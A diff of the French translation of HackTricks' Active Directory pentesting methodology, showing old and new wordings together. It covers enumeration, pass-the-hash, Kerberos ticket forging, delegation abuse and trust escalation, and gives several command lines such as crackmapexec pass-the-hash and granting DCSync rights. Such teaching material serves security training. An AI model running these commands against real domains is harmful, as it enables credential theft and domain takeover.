Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous offrons aux gens la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **des entreprises de cybersécurité pertinentes** pour sponsoriser HackTricks et **avoir des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous offrons aux gens la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et à des **entreprises de cybersécurité pertinentes** de sponsoriser HackTricks et d'**avoir des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales.
@ -96,7 +96,7 @@ Notez que le fait d'avoir des liens vers votre page dans HackTricks :
- Le contenu est **traduit en plus de 15 langues**, permettant à plus de personnes d'accéder à ce contenu
- **HackTricks encourage** les gens à **vérifier votre page** (plusieurs personnes nous ont mentionné que depuis qu'une de leurs pages est dans HackTricks, elles reçoivent plus de visites)
Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, faites-le nous savoir et nous **retirerons définitivement chaque lien vers votre blog**, ainsi que tout contenu basé dessus.
Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, faites-le nous savoir et nous **retirerons définitivement chaque lien vers votre blog**, ainsi que tout contenu basé sur celui-ci.
> [!CAUTION]
>
@ -138,6 +138,6 @@ Cette licence ne confère aucun droit de marque ou de branding en relation avec
>
> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou conseils décrits ici.
>
> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et de toute obligation pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de l'une des informations qu'il contient.
> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qu'il contient.
{{#include ../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@ Les concepts clés au sein de **Active Directory** incluent :
1. **Répertoire** Contient toutes les informations relatives aux objets Active Directory.
2. **Objet** Désigne des entités au sein du répertoire, y compris des **utilisateurs**, des **groupes** ou des **dossiers partagés**.
3. **Domaine** Sert de conteneur pour les objets du répertoire, avec la capacité de plusieurs domaines à coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
3. **Domaine** Sert de conteneur pour les objets du répertoire, avec la capacité pour plusieurs domaines de coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
4. **Arbre** Un regroupement de domaines partageant un domaine racine commun.
5. **Forêt** Le sommet de la structure organisationnelle dans Active Directory, composée de plusieurs arbres avec des **relations de confiance** entre eux.
@ -42,9 +42,9 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
- **Tester le réseau :**
- Scanner le réseau, trouver des machines et des ports ouverts et essayer d'**exploiter des vulnérabilités** ou d'**extraire des crédentiels** à partir d'eux (par exemple, [les imprimantes pourraient être des cibles très intéressantes](ad-information-in-printers.md)).
- Énumérer le DNS pourrait donner des informations sur des serveurs clés dans le domaine comme le web, les imprimantes, les partages, le vpn, les médias, etc.
- L'énumération DNS pourrait donner des informations sur les serveurs clés dans le domaine tels que web, imprimantes, partages, vpn, médias, etc.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Consultez la [**Méthodologie de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour trouver plus d'informations sur la façon de faire cela.
- Consultez la [**Méthodologie de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour trouver plus d'informations sur la façon de procéder.
- **Vérifiez l'accès nul et invité sur les services smb** (cela ne fonctionnera pas sur les versions modernes de Windows) :
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@ -67,9 +67,9 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
- Rassembler des crédentiels [**en usurpant des services avec Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Accéder à l'hôte en [**abusant de l'attaque par relais**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Rassembler des crédentiels **en exposant** [**de faux services UPnP avec evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology) :
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html) :
- Extraire des noms d'utilisateur/noms à partir de documents internes, de réseaux sociaux, de services (principalement web) à l'intérieur des environnements de domaine et également à partir de sources disponibles publiquement.
- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** ([**lisez ceci**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Les conventions les plus courantes sont : _NomPrénom_, _Nom.Prénom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrénom_, _N.Prénom_, _PrénomNom_, _Prénom.Nom_, _PrénomN_, _Prénom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** (**[lisez ceci](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Les conventions les plus courantes sont : _NomPrenom_, _Nom.Prenom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrenom_, _N.Prenom_, _PrenomNom_, _Prenom.Nom_, _PrenomN_, _Prenom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
- Outils :
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -109,7 +109,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
### Connaître un ou plusieurs noms d'utilisateur
D'accord, donc vous savez que vous avez déjà un nom d'utilisateur valide mais pas de mots de passe... Alors essayez :
D'accord, donc vous savez que vous avez déjà un nom d'utilisateur valide mais pas de mots de passe... Essayez alors :
- [**ASREPRoast**](asreproast.md) : Si un utilisateur **n'a pas** l'attribut _DONT_REQ_PREAUTH_, vous pouvez **demander un message AS_REP** pour cet utilisateur qui contiendra des données chiffrées par une dérivation du mot de passe de l'utilisateur.
- [**Password Spraying**](password-spraying.md) : Essayons les mots de passe les plus **courants** avec chacun des utilisateurs découverts, peut-être qu'un utilisateur utilise un mauvais mot de passe (gardez à l'esprit la politique de mot de passe !).
@ -141,9 +141,9 @@ Si vous pouvez **accéder à d'autres PC ou partages** avec l'**utilisateur null
## Énumération de l'Active Directory AVEC des identifiants/session
Pour cette phase, vous devez avoir **compromis les identifiants ou une session d'un compte de domaine valide.** Si vous avez des identifiants valides ou un shell en tant qu'utilisateur de domaine, **vous devez vous rappeler que les options données auparavant sont toujours des options pour compromettre d'autres utilisateurs**.
Pour cette phase, vous devez avoir **compromis les identifiants ou une session d'un compte de domaine valide.** Si vous avez des identifiants valides ou un shell en tant qu'utilisateur de domaine, **vous devez vous rappeler que les options données précédemment sont toujours des options pour compromettre d'autres utilisateurs**.
Avant de commencer l'énumération authentifiée, vous devriez savoir quel est le **problème du double saut Kerberos.**
Avant de commencer l'énumération authentifiée, vous devez savoir quel est le **problème du double saut Kerberos.**
{{#ref}}
kerberos-double-hop-problem.md
@ -158,7 +158,7 @@ Concernant [**ASREPRoast**](asreproast.md), vous pouvez maintenant trouver chaqu
- Vous pourriez utiliser le [**CMD pour effectuer une reconnaissance de base**](../basic-cmd-for-pentesters.md#domain-info)
- Vous pouvez également utiliser [**powershell pour la reconnaissance**](../basic-powershell-for-pentesters/index.html) qui sera plus discrète
- Vous pouvez aussi [**utiliser powerview**](../basic-powershell-for-pentesters/powerview.md) pour extraire des informations plus détaillées
- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez absolument l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez le chemin vers d'autres groupes, etc.
- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez vraiment l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
- **D'autres outils d'énumération AD automatisés sont :** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Enregistrements DNS de l'AD**](ad-dns-records.md) car ils pourraient contenir des informations intéressantes.
- Un **outil avec interface graphique** que vous pouvez utiliser pour énumérer le répertoire est **AdExplorer.exe** de la **SysInternal** Suite.
@ -205,7 +205,7 @@ Il est très **improbable** que vous trouviez des **tickets** dans l'utilisateur
```
### NTML Relay
Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails et une meilleure compréhension du réseau**. Vous pourriez être en mesure de forcer des attaques [**NTML relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails et une meilleure compréhension du réseau**. Vous pourriez être en mesure de forcer des attaques NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### **Cherchez des identifiants dans les partages d'ordinateurs**
@ -215,7 +215,7 @@ Maintenant que vous avez quelques identifiants de base, vous devriez vérifier s
### Voler des identifiants NTLM
Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTML contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le cracker :
Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés, **déclencheront une authentification NTML contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le cracker :
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -231,7 +231,7 @@ printnightmare.md
## Élévation de privilèges sur Active Directory AVEC des identifiants/sessions privilégiés
**Pour les techniques suivantes, un utilisateur de domaine régulier n'est pas suffisant, vous avez besoin de privilèges/identifiants spéciaux pour effectuer ces attaques.**
**Pour les techniques suivantes, un utilisateur de domaine régulier ne suffit pas, vous avez besoin de privilèges/identifiants spéciaux pour effectuer ces attaques.**
### Extraction de hachages
@ -276,7 +276,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
Si un utilisateur a des privilèges pour **accéder aux instances MSSQL**, il pourrait être en mesure de l'utiliser pour **exécuter des commandes** sur l'hôte MSSQL (s'il fonctionne en tant que SA), **voler** le **hash** NetNTLM ou même effectuer une **attaque** de **relais**.\
De plus, si une instance MSSQL est de confiance (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données de confiance, il pourra **utiliser la relation de confiance pour exécuter des requêtes également sur l'autre instance**. Ces relations de confiance peuvent être enchaînées et à un moment donné, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes.\
**Les liens entre les bases de données fonctionnent même à travers les relations de confiance de forêt.**
**Les liens entre les bases de données fonctionnent même à travers les forêts de confiance.**
{{#ref}}
abusing-ad-mssql.md
@ -284,8 +284,8 @@ abusing-ad-mssql.md
### Délégation Non Contraignante
Si vous trouvez un objet Ordinateur avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur l'ordinateur, vous pourrez extraire les TGT de la mémoire de chaque utilisateur qui se connecte à l'ordinateur.\
Ainsi, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez extraire son TGT et vous l'approprier en utilisant [Pass the Ticket](pass-the-ticket.md).\
Si vous trouvez un objet Ordinateur avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur l'ordinateur, vous serez en mesure de dumper les TGT depuis la mémoire de chaque utilisateur qui se connecte à l'ordinateur.\
Donc, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez dumper son TGT et l'imiter en utilisant [Pass the Ticket](pass-the-ticket.md).\
Grâce à la délégation contrainte, vous pourriez même **compromettre automatiquement un serveur d'impression** (espérons qu'il s'agisse d'un DC).
{{#ref}}
@ -294,8 +294,8 @@ unconstrained-delegation.md
### Délégation Contraignante
Si un utilisateur ou un ordinateur est autorisé à "Délégation Contraignante", il pourra **se faire passer pour n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **vous faire passer pour n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
Si un utilisateur ou un ordinateur est autorisé à la "Délégation Contraignante", il pourra **imiter n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **imiter n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
{{#ref}}
constrained-delegation.md
@ -319,7 +319,7 @@ acl-persistence-abuse/
### Abus du service Spooler d'impression
Découvrir un **service Spool à l'écoute** au sein du domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
Découvrir un **service Spool** à l'écoute dans le domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
{{#ref}}
printers-spooler-service-abuse.md
@ -327,8 +327,8 @@ printers-spooler-service-abuse.md
### Abus des sessions tierces
Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **rassembler des identifiants depuis la mémoire** et même **d'injecter des balises dans leurs processus** pour se faire passer pour eux.\
En général, les utilisateurs accéderont au système via RDP, donc voici comment effectuer quelques attaques sur des sessions RDP tierces :
Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **rassembler des identifiants depuis la mémoire** et même **injecter des balises dans leurs processus** pour les imiter.\
En général, les utilisateurs accéderont au système via RDP, donc voici comment effectuer quelques attaques sur les sessions RDP tierces :
{{#ref}}
rdp-sessions-abuse.md
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** fournit un système pour gérer le **mot de passe de l'administrateur local** sur les ordinateurs joints au domaine, garantissant qu'il est **aléatoire**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé par des ACLs uniquement pour les utilisateurs autorisés. Avec des permissions suffisantes pour accéder à ces mots de passe, le passage à d'autres ordinateurs devient possible.
**LAPS** fournit un système pour gérer le **mot de passe Administrateur local** sur les ordinateurs joints au domaine, garantissant qu'il est **aléatoire**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé par des ACLs uniquement pour les utilisateurs autorisés. Avec des permissions suffisantes pour accéder à ces mots de passe, le pivotement vers d'autres ordinateurs devient possible.
{{#ref}}
laps.md
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
### Dumping des Identifiants de Domaine
Une fois que vous obtenez des privilèges **Administrateur de Domaine** ou même mieux **Administrateur d'Entreprise**, vous pouvez **dump** la **base de données de domaine** : _ntds.dit_.
Une fois que vous obtenez des privilèges **Administrateur de Domaine** ou même mieux **Administrateur d'Entreprise**, vous pouvez **dumper** la **base de données de domaine** : _ntds.dit_.
[**Plus d'informations sur l'attaque DCSync peuvent être trouvées ici**](dcsync.md).
@ -391,33 +391,33 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
### Ticket Argent
### Silver Ticket
L'**attaque de Ticket Argent** crée un **ticket de service de délivrance de tickets (TGS)** légitime pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est utilisée pour **accéder aux privilèges de service**.
L'**attaque Silver Ticket** crée un **ticket de service de ticket de concession (TGS)** légitime pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est utilisée pour **accéder aux privilèges de service**.
{{#ref}}
silver-ticket.md
{{#endref}}
### Ticket Or
### Golden Ticket
Une **attaque de Ticket Or** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets de Délivrance de Tickets (TGT)**, qui sont essentiels pour s'authentifier au sein du réseau AD.
Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets de Concession (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
Une fois que l'attaquant obtient ce hash, il peut créer des **TGT** pour n'importe quel compte de son choix (attaque de ticket argent).
Une fois que l'attaquant obtient ce hash, il peut créer des **TGT** pour n'importe quel compte de son choix (attaque Silver ticket).
{{#ref}}
golden-ticket.md
{{#endref}}
### Ticket Diamant
### Diamond Ticket
Ce sont comme des tickets or forgés d'une manière qui **contourne les mécanismes de détection des tickets or courants.**
Ce sont comme des tickets dorés forgés d'une manière qui **contourne les mécanismes de détection des tickets dorés communs.**
{{#ref}}
diamond-ticket.md
{{#endref}}
### **Persistance de Compte par Certificats**
### **Persistance des Comptes de Certificats**
**Avoir des certificats d'un compte ou être capable de les demander** est un très bon moyen de pouvoir persister dans le compte des utilisateurs (même s'il change le mot de passe) :
@ -425,7 +425,7 @@ diamond-ticket.md
ad-certificates/account-persistence.md
{{#endref}}
### **Persistance de Domaine par Certificats**
### **Persistance des Domaines de Certificats**
**Utiliser des certificats est également possible pour persister avec des privilèges élevés à l'intérieur du domaine :**
@ -441,7 +441,7 @@ L'objet **AdminSDHolder** dans Active Directory assure la sécurité des **group
### Identifiants DSRM
À l'intérieur de chaque **Contrôleur de Domaine (DC)**, un compte **administrateur local** existe. En obtenant des droits d'administrateur sur une telle machine, le hash de l'administrateur local peut être extrait en utilisant **mimikatz**. Par la suite, une modification du registre est nécessaire pour **activer l'utilisation de ce mot de passe**, permettant un accès à distance au compte Administrateur local.
À l'intérieur de chaque **Contrôleur de Domaine (DC)**, un compte **administrateur local** existe. En obtenant des droits d'administrateur sur une telle machine, le hash de l'Administrateur local peut être extrait en utilisant **mimikatz**. Par la suite, une modification du registre est nécessaire pour **activer l'utilisation de ce mot de passe**, permettant un accès à distance au compte Administrateur local.
{{#ref}}
dsrm-credentials.md
@ -473,7 +473,7 @@ skeleton-key.md
### SSP Personnalisé
[Apprenez ce qu'est un SSP (Fournisseur de Support de Sécurité) ici.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
[Apprenez ce qu'est un SSP (Security Support Provider) ici.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Vous pouvez créer votre **propre SSP** pour **capturer** en **texte clair** les **identifiants** utilisés pour accéder à la machine.
{{#ref}}
@ -498,7 +498,7 @@ Vérifiez :
laps.md
{{#endref}}
## Escalade de Privilèges de Forêt - Confiances de Domaine
## Escalade de Privilèges dans la Forêt - Confiances de Domaine
Microsoft considère la **Forêt** comme la frontière de sécurité. Cela implique que **compromettre un seul domaine pourrait potentiellement conduire à la compromission de l'ensemble de la Forêt**.
@ -506,17 +506,17 @@ Microsoft considère la **Forêt** comme la frontière de sécurité. Cela impli
Une [**confiance de domaine**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Cela crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque les domaines établissent une confiance, ils échangent et conservent des **clés** spécifiques au sein de leurs **Contrôleurs de Domaine (DC)**, qui sont cruciales pour l'intégrité de la confiance.
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est crypté avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est chiffré avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
**Étapes** :
1. Un **ordinateur client** dans le **Domaine 1** commence le processus en utilisant son **hash NTLM** pour demander un **Ticket de Délivrance de Tickets (TGT)** à son **Contrôleur de Domaine (DC1)**.
1. Un **ordinateur client** dans le **Domaine 1** commence le processus en utilisant son **hash NTLM** pour demander un **Ticket Granting Ticket (TGT)** à son **Contrôleur de Domaine (DC1)**.
2. DC1 émet un nouveau TGT si le client est authentifié avec succès.
3. Le client demande ensuite un **TGT inter-realm** à DC1, qui est nécessaire pour accéder aux ressources dans le **Domaine 2**.
4. Le TGT inter-realm est crypté avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine (DC2) du Domaine 2**.
6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, émet un **Ticket de Délivrance de Service (TGS)** pour le serveur dans le Domaine 2 que le client souhaite accéder.
7. Enfin, le client présente ce TGS au serveur, qui est crypté avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
4. Le TGT inter-realm est chiffré avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine 2 (DC2)**.
6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur dans le Domaine 2 que le client souhaite accéder.
7. Enfin, le client présente ce TGS au serveur, qui est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
### Différentes Confiances
@ -530,7 +530,7 @@ Si le Domaine A fait confiance au Domaine B, A est le domaine de confiance et B
- **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement voyager jusqu'à la racine de la forêt, puis redescendre vers le domaine cible. En créant des liens croisés, le trajet est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
- **Confiances Externes** : Celles-ci sont mises en place entre différents domaines non liés et sont non transitives par nature. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec des confiances externes.
- **Confiances de Racine d'Arbre** : Ces confiances sont automatiquement établies entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien qu'elles ne soient pas couramment rencontrées, les confiances de racine d'arbre sont importantes pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de maintenir un nom de domaine unique et garantissant une transitivité bidirectionnelle. Plus d'informations peuvent être trouvées dans [le guide de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Confiances de Forêt** : Ce type de confiance est une confiance transitive bidirectionnelle entre deux domaines racines de forêt, appliquant également un filtrage SID pour renforcer les mesures de sécurité.
- **Confiances de Forêt** : Ce type de confiance est une confiance bidirectionnelle transitive entre deux domaines racines de forêt, appliquant également un filtrage SID pour renforcer les mesures de sécurité.
- **Confiances MIT** : Ces confiances sont établies avec des domaines Kerberos conformes à [RFC4120](https://tools.ietf.org/html/rfc4120) non-Windows. Les confiances MIT sont un peu plus spécialisées et s'adressent aux environnements nécessitant une intégration avec des systèmes basés sur Kerberos en dehors de l'écosystème Windows.
#### Autres différences dans les **relations de confiance**
@ -549,9 +549,9 @@ Les attaquants pourraient accéder aux ressources dans un autre domaine par troi
- **Membre de Groupe Local** : Les principaux pourraient être ajoutés à des groupes locaux sur des machines, comme le groupe "Administrateurs" sur un serveur, leur accordant un contrôle significatif sur cette machine.
- **Membre de Groupe de Domaine Étranger** : Les principaux peuvent également être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature de la confiance et de la portée du groupe.
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'une **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACLs, DACLs et ACEs, le document intitulé [An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf) est une ressource inestimable.
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACLs, DACLs et ACEs, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
### Escalade de privilèges de forêt de l'enfant au parent
### Escalade de privilèges de la forêt enfant vers le parent
```
Get-DomainTrust
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> Il y a **2 clés de confiance**, une pour _Enfant --> Parent_ et une autre pour _Parent_ --> _Enfant_.\
> Il y a **2 clés de confiance**, une pour _Child --> Parent_ et une autre pour _Parent_ --> _Child_.\
> Vous pouvez utiliser celle utilisée par le domaine actuel avec :
>
> ```bash
@ -582,7 +582,7 @@ sid-history-injection.md
#### Exploiter le NC de Configuration écrivable
Comprendre comment le Contexte de Nommage de Configuration (NC) peut être exploité est crucial. Le NC de Configuration sert de référentiel central pour les données de configuration à travers une forêt dans les environnements Active Directory (AD). Ces données sont répliquées à chaque Contrôleur de Domaine (DC) au sein de la forêt, les DC écrivables maintenant une copie écrivable du NC de Configuration. Pour exploiter cela, il faut avoir **des privilèges SYSTEM sur un DC**, de préférence un DC enfant.
Comprendre comment le Contexte de Nommage de Configuration (NC) peut être exploité est crucial. Le NC de Configuration sert de référentiel central pour les données de configuration à travers une forêt dans les environnements Active Directory (AD). Ces données sont répliquées à chaque Contrôleur de Domaine (DC) au sein de la forêt, les DC écrits maintenant une copie écrivable du NC de Configuration. Pour exploiter cela, il faut avoir **des privilèges SYSTEM sur un DC**, de préférence un DC enfant.
**Lier GPO au site DC racine**
@ -604,7 +604,7 @@ Des lectures supplémentaires sont disponibles sur [Schema Change Trust Attacks]
**De DA à EA avec ADCS ESC5**
La vulnérabilité ADCS ESC5 cible le contrôle des objets d'infrastructure à clé publique (PKI) pour créer un modèle de certificat qui permet l'authentification en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le NC de Configuration, compromettre un DC enfant écrivable permet l'exécution d'attaques ESC5.
La vulnérabilité ADCS ESC5 cible le contrôle des objets d'Infrastructure à Clé Publique (PKI) pour créer un modèle de certificat qui permet l'authentification en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le NC de Configuration, compromettre un DC enfant écrivable permet l'exécution d'attaques ESC5.
Plus de détails à ce sujet peuvent être lus dans [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Dans les scénarios sans ADCS, l'attaquant a la capacité de mettre en place les composants nécessaires, comme discuté dans [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
@ -637,17 +637,17 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
